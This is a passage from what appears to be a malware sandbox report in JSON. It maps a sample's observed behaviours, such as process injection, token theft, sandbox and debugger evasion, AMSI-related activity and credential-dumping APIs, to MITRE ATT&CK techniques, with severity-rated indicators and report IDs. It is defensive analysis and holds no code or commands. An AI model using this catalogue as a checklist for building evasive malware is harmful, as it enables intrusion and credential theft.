Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"informative","value":"Contains ability to retrieve entry point of a process loaded into memory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Contains ability to modify process memory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"informative","value":"Contains ability to unmap view of a section from a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Privilege Escalation","technique":"Portable Executable Injection","attack_id":"T1055.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/002","identifiers":[{"type":"informative","value":"Attempts remote code execution into another process memory space"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Allocates virtual memory in a remote process"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"malicious","value":"Writes shellcode to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"suspicious","value":"Tries to detect debugger using ProcessDebugPort"},{"type":"suspicious","value":"Sets the 'ThreadHideFromDebugger' thread data structure"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to modify process attributes (API string)"},{"type":"informative","value":"Tries to map intranet network resources to internet zone"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains references to RC4 cryptographic API (string)"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"suspicious","value":"Entrypoint in PE header is within an uncommon section"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"suspicious","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Contains ability to perform symmetric encryption (Dotnet)"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Possibly references Golang binary related string"},{"type":"informative","value":"Contains ability to perform crypto operations"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"Contains ability to load content from resource"},{"type":"informative","value":"YARA signature match - RC4 Encryption"},{"type":"informative","value":"Contains ability to perform CryptoStream operations (Dotnet)"},{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"Dotnet file contains encryption/decryption functions"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"},{"type":"informative","value":"Able to identify sandbox environment running process"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"},{"type":"informative","value":"Makes a code branch decision directly after an API that is environment aware"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Spawns Windows crash diagnostic and reporting process"},{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"},{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"MSBuild","attack_id":"T1127.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1127/001","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"informative","value":"Dotnet file contains function to dynamically call methods at runtime"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"YARA signature match – Embedded PE executable"},{"type":"informative","value":"YARA signature match - PE executable embedded in .rsrc section"},{"type":"suspicious","value":"Section contains high entropy"},{"type":"malicious","value":"PE file contains executable resources"},{"type":"informative","value":".rdata section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"informative","value":"YARA signature match - High entropy file"},{"type":"informative","value":"YARA signature match - Medium entropy File"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection (API string)"},{"type":"informative","value":"Contains ability to modify file system redirection"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify System Firewall","attack_id":"T1562.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/004","sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Able to read the PEB (Process Environment Block) structure"},{"type":"informative","value":"Contains ability to dynamically determine API calls"},{"type":"informative","value":"YARA signature match - PlugX malware custom PEB traversal"},{"type":"suspicious","value":"Looks up many procedures within the same disassembly stream (often used to hide usage)"},{"type":"informative","value":"YARA signature match – PEB traversal"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual/sandbox environment"},{"type":"informative","value":"Contains ability to query volume size"},{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Attempts to read volume data via DOS device path"},{"type":"informative","value":"Contains ability to enumerate volumes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to perform symmetric decryption (Dotnet)"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Contains ability to decode base64 data"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Contains references to file movement (imports API)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to enumerates all mounted drives"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Able to determine the valid logical drives on the computer"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"malicious","value":"Checks for files associated with bitcoin mining software"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Contains ability to query the system locale"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Found registry location string related to BIOS"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Imports DsRoleGetPrimaryDomainInformation API"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an APIs used to retrieve geographical location information"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve the host name of a computer (API string)"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"malicious","value":"Reads the system/video BIOS version"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve state data for the computer (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Able to gather system file/directory information (.NET)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Opens registry keys"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Contains reference to Borland Delphi related registry entry"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Queries for Borland Delphi related registry entry"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Able to query registry keys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Contains ability to lookup the windows account name"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68c3574493fe289d6905879d"},{"report_type":"sandbox","report_id":"68c5a885489928c8d50b2922"},{"report_type":"sandbox","report_id":"68c5a88590e87775fc0378a8"},{"report_type":"sandbox","report_id":"68c5a88513067041460f88b0"},{"report_type":"sandbox","report_id":"68c5a885f97280cbf90a601a"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries basic information of the 